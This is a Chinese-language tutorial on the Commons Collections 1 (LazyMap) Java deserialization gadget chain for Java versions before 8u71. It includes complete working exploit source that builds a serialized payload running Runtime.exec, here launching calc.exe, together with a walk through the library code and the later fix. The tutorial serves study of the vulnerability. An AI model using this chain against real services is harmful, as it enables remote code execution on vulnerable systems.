CC1(LazyMap)
这个链的构造需要版本<8u71
java反序列化的核心就是调用某个类重写过的(有漏洞的)readObject方法来实现任意命令执行。CC指的就是common collection包,里面存在一些危险的反序列化方法。
配置环境
用maven创建好项目后,在pom.xml的两个<dependency>
里加入如下依赖项:
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
然后重新加载一下maven,下载上依赖项
源码
package org.cc;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class,Class[].class }, new Object[] { "getRuntime",new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class,Object[].class },new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] { "calc.exe" }),};
Transformer transformerChain = new
ChainedTransformer(transformers);//Transformer链子构造
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)
construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map)
Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class},handler);
handler = (InvocationHandler)
construct.newInstance(Retention.class, proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
Transformer
一个”变换器“(我随便说的,别当正式翻译了,以下“”里的内容基本都是我瞎编出来的)类,它只有一个接口,方法待实现。在被调用的时候,会触发它的Transform
方法。
public interface Transformer {
public Object transform(Object input);
}
以下是它的一些子类:
ConstantTransformer
“常量变换“,传入一个对象,然后原样返回。
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}//构造方法
public Object transform(Object input) {
return iConstant;
}//自己实现的transform方法,返回值与input无关,只和构造时传入的对象有关
InvokerTransformer
”调用变换“,调用一个指定的方法(核心)
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}//构造函数,获取想要调用的方法,参数类型,参数
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch......
//反射调用传入对象里指定的方法
ChainedTransformer
”变换链“,把多个Transformer连接在一起,前一个Transformer的返回值作为后一个Transformer的参数。
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}//构造方法,传入transformers数组
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}//按顺序调用链子里的各个transform方法,前一个返回值为后一个的参数
构造Transformer链子
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class,Class[].class }, new Object[] { "getRuntime",new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class,Object[].class },new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] { "calc.exe" }),};
Transformer transformerChain = new
ChainedTransformer(transformers);//Transformer链子构造
1.ConstantTransformers
传入:任意,返回:Runtime.class
2.InvokerTransformer
传入:Runtime.class
,调用:getMethod(getRuntime)
,返回:Runtime.getRuntime
方法
3.InvokerTransformer
传入:Runtime.getRuntime()
方法,调用:Runtime.getRuntime().invoke()
,返回一个Runtime
对象
4.InvokerTransformer
传入:Runtime
对象,调用:Runtime.exec(calc.exe)
,弹计算器了
其实本质是一个反射调用的过程,因为Runtime
对象不能序列化,但是Runtime.class
可以,所以要多绕这么一步。
LazyMap
顾名思义,这是一个"懒"集合,这是它的get方法:
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
当你尝试访问LazyMap的一个键的时候,如果这个键存在,则直接获取它的值,否则会调用它自己的transform
方法来生成一个值,也就是懒加载,跟线段树有点像,需要这个键的时候,才去生成。
这是它的构造函数:
protected LazyMap(Map map, Factory factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = FactoryTransformer.getInstance(factory);
}
也就是调用一个工厂类,把他变为自己的FactoryTransformer
。
由于LazyMap的构造函数是私有的,我们创建一个新的hashMap
,用LazyMap.decorate
方法装饰它,那个方法是public static,获得一个被装饰过的恶意Map。
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
现在我们就需要想办法调用这个outerMap
的get()
方法就可以。get里面的键是什么都行(因为ConstantTransformer
无论传入什么都会返回构造时传入的那个类),只要不存在(否则就不会调用transform
方法了)。
AnnotationInvocationHandler
”注解调用处理器“,先贴上invoke()部分的部分代码
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");
switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}
// Handle annotation member accessors
Object result = memberValues.get(member);
直接看到最后一行调用了memberValues.get(member)
,然后看到它的构造函数,memberValue
就是一个map对象,这正是我们想要的。
看到这两个if:
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");
只需要我们调用的方法不为equals
,且是无参调用即可。
Proxy
但是要怎么调用呢?这个类implements了InvocationHandler
接口,可以作为动态代理的代理处理器,有这个接口的类必须重写invoke方法,并且在调用代理处理器的无参方法之前都会先调用这个invoke方法。
简单来说就是,用Proxy.newProxyInstance
创建一个”代理“对象,只要调用了这个对象的任意方法,就会触发指定的代理处理器的invoke方法,这边代理处理器就指定上面那个AnnotationInvocationHandler
(这类名也是够长的)
所以说我们就指定上面那个类为代理处理器,反射创建一个AnnotationInvocationHandler
对象,然后创建一个Proxy,并强制类型转换成Map:
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)
construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map)
Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class},handler);
对了,注意一下AnnotationInvocationHandler
的构造方法:
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}
要求第一个参数是Annotation
(注解)类型,其只能有一个接口,且是java.lang.annotation.Annotation.class
,传Rention和Documented(或者更多)都可以。
代理方法的调用
那么现在,proxymap
就是一个添加了代理方法的恶意map,只要调用它的任意无参方法就会触发RCE。那要如何调用呢?答案就是AnnotationInvocationHandler
的readObject
方法。
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
for (Map.Entry<String, Object> memberValue : memberValues.entrySet())
这里循环就直接调用了map的无参方法了。
所以我们再用之前反射好的那个构造器再创建一个AnnotationInvocationHandler
对象,把proxymap传进去
handler = (InvocationHandler)
construct.newInstance(Retention.class, proxyMap);
这样反序列化的时候就能RCE了。
总结
调用流程:
AnnotationInvocationHandler.readObject()->
proxymap.entrySet() ->
AnnotationInvocationHandler.Invoke() ->
LazyMap.get() ->
LazyMap.transform() ->
Transformer[] ->
calc.exe
本质就是从....#readObject -> transformer#transform(),后者可以方便的执行任意代码。
修复
在8u71的java中,对AnnotationInvocationHandler
的readObject
方法做了调整。它会新建一个LinkedHashMap
对象,并把原来的键值对读取进去,就不会触发我们精心构造的proxymap的方法了。